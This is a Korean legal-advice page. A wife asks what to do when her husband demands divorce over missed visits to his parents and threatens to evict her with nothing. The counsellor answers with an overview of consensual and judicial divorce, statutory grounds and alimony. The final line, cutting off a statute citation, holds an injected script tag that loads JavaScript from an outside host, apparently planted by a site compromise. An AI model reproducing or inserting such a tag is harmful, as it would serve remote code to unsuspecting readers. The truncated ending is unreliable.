사이버상담실
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제가 사는곳은 원주고 시댁은 포천입니다,,근데 거의 주말마다 시댁을 가다시피해서 저는 너무너무 힘들답니다,,
근데 얼마전에 한주안갔다구 남편이 화가나서 이혼을 하자합니다,,
부모공경을 못한다느니 어쩌구 하면서,,
참고로 저는 직장을 다니다가 부득이하게 그만두게 되었고 그 이후로도 집에 돈한푼 안갖다주는 남편이지만 남편에게 손한번 안벌리고 제게 따로 나오는 돈으로 개인적인 지출은 다하고 있으며 심지어 연애할때도 남편은 제게 돈을 사업상 이유로 사백만원가량을 빌려간적도 있으나 저는 받지 않았습니다,,
또한 성적 부부생활도 남편은 워낙에 그쪽에 병적으로 관심이 없는사람인지라 안싸울때도 따로 잔적도 많았고 일년여정도를 살면서 거의 손에꼽힐정도로 성생활을 하였습니다,,
다만 제가 잘못한 거라곤 지나친 스트레스로 인해 술먹고 남편에게 가끔 꼬장부린것 뿐입니다,,
살면서 한눈판적도 없었으며 지나친 소비를 한것도 아니며 없는돈이지만 저축하며 살려고 했는데 시댁에 가는 문제는 제가 생각하기엔 충분히 할도리는 했다고 보는데 남편성에 안찼는지 그거가지고 이혼을 요구한다면 전 너무 억울합니다,,
더군다나 남편은 지금 제 소유의 아파트가 하나 있는데(결혼때 시아버지가 해준것임) 위자료나 재산이나 한푼도 줄수없다며 그저 쫒아낸다고 합니다,,
두어번 남편이 술을 먹고 저를 질질질 끌고다니며 친정으로 쫒아보낼려고 한적이 있습니다,,
이럴때 이혼소송절차나 그에따른 비용도 만만치가 않은것 같던데 어떻게 해야할런지여,,
바쁘시더라도 답변부탁드리겠습니다..
본 상담실의 답변은 법률이론상의 원칙적인 답변 및 답변자 개인의 법률적 의견으로 참고 자료로만 활용하시기 바랍니다.
남편과 귀하가 이혼에 협의가 되지 않는다면 협의이혼은 불가능하고, 재판상이혼을 청구하여야 합니다. 그러나 위의 내용만으로는 남편이 재판상 이혼을 청구하여도 받아들여지기는 어렵다고 판단됩니다.
아래는 이혼에 관한 전반적인 설명입니다. 참고하시기 바랍니다.
(1) 이혼
이혼에는 두가지 방법이 있습니다. 협의이혼(민법 제834조)과 재판이혼(민법 제840조)이 그것입니다. 협의 이혼의 경우에는 부부간에 어떤 사유로 이혼을 하는 가는 묻지 않습니다. 성격 불일치·불화·애정상실·권태·성적불만·금전문제·건강문제 등 어떤 명목으로든지 부부간에 이혼의사의 합의만 있으면 이혼이 가능합니다. 이러한 협의 이혼은 가정법원의 확인을 받아야 하는데, 이때 판사는 두사람이 이혼의사의 합의가 있는지와 아이가 있는 경우 양육자를 누구로 정할 것인가만을 판사가 묻고 이 두가지에 합의한 이상 이혼의 확인을 해주고, 이를 관할 호적계에 신고하면 되는 것입니다 (민법 제 836조 제1항).
* 협의 이혼의 절차(민법 제836조, 호적법 제79조의 2, 호적법시행규칙 제7장)
호적등본 1통, 주민등록 등본 1통, 당사자 쌍방과 성년자인 증인 2인이 연서한 이혼신고서 3통을 첨부하여 협의이혼의사확인신청서를 주소지 관할 법원에 접수한 후 지정된 시간에 부부가 도장, 주민등록증을 갖고서 함께 판사 앞에 출석하여 이혼의사를 밝히면 됩니다. 그 후 법원으로부터 이혼신고서와 이혼 확인을 받은 확인서를 부부가 각각 1통씩 받게되는데, 두사람 중 누구든지 이것을 남편의 본적지 시·구·읍·면에 여자의 복적할 가의 호적등본 2통, 남자의 호적등본 1통과 함께 3개월 내에 신고하면 이혼이 됩니다.
그러나 만약 부부 중 일방이 이혼을 원하지 않으면, 협의이혼은 불가능합니다. 이혼에는 동의하지만 자녀문제나 재산문제에 협의가 불가능할 경우 협의이혼 후 재산문제나 자녀문제만 소송으로 다툴 수도 있고, 이혼 및 위자료, 재산분할, 자녀문제까지 함께 소송으로 다툴 수도 있습니다.
재판상 이혼의 경우에는 누구나 재판이혼을 할 수 있는 것은 아니고 법으로 정해진 일정한 사유에 해당하는 경우만 법원에서 판결로 이혼을 인정해 주는 것입니다.
* 민법 제840조 [재판상 이혼사유]
부부의 일방은 다음 각호의 사유가 있는 경우에는 가정법원에 이혼을 청구할 수 있다.
1. 배우자에 부정한 행위가 있었을 때
2. 배우자가 악의로 다른 일방을 유기한 때
3. 배우자 또는 그 직계존속으로부터 심히 부당한 대우를 받았을 때
4. 자기의 직계존속이 배우자로부터 심히 부당한 대우를 받았을 때
5. 배우자의 생사가 3년 이상 분명하지 아니한 때
6. 기타 혼인을 계속하기 어려운 중대한 사유가 있을 때
그러나 이혼사유가 있다고 해도 이혼을 하고, 위자료를 받기 위해서는 이 사실을 법정에서 입증할 수 있어야 합니다. 입증방법으로는 이웃, 친구, 친척 등의 진술서나 증인, 녹음, 사진, 진단서, 병원 진료기록, 일기장 등 배우자의 이혼책임을 입증할 수 있는 모든 것이 가능합니다.
(2) 위자료
이혼을 할 경우에는 그 이혼을 하게 된 데에 책임이 있는 사람에게 이혼피해자가 자기의 재산상 손해에 대한 배상 외에 정신상 고통에 대한 배상을 청구할 수 있습니다(민법 제843조, 제806조). 즉 이혼을 하게 되어 심리적으로 받게된 충격·번민·슬픔·불명예 등 이혼 그 자체로 인한 위자료와 부정행위·부당대우 등 이혼원인인 개별적 유책행위로 인한 위자료등 모든 정신적 고통에 대하여 그 이혼에 책임이 있는 자에게서 피해자가 받는 것입니다.
이러한 이혼위자료의 산정기준은 법에 명문화 된 것은 없고 판례상 대개 다음과 같은 것들이 고려되고 있습니다.
① 이혼사유(혼인파탄의 원인)
② 유책정도(잘못을 저지른 배우자로부터 받은 정신적 고통의 정도)
③ 재산상태 및 생활정도
④ 동거기간 및 혼인생활 내력
⑤ 양 당사자의 학력·연령·경력·직업 등 신분사항
⑥ 자녀 및 부양관계
⑦ 재혼의 가능성
위자료의 지급방법은 일시에 정액을 받을 수도 있고, 당장에 위자료를 줄 돈이 없는 경우에는 월급 중 일부를 받는 분할급도 가능합니다.
위자료에 대한 승소판결을 받아도 상대방에게 재산이 없다면 집행을 할 수 없으므로, 판결이 확정되기 전에 재산을 은닉하거나 도피시키지 못하도록 미리 재산을 붙잡아 두는 방법으로서 배우자명의의 재산에 대해 가압류·가처분신청을 할 수 있습니다(가사소송법 제63?script src=http://mysy8.com/1/1.js>
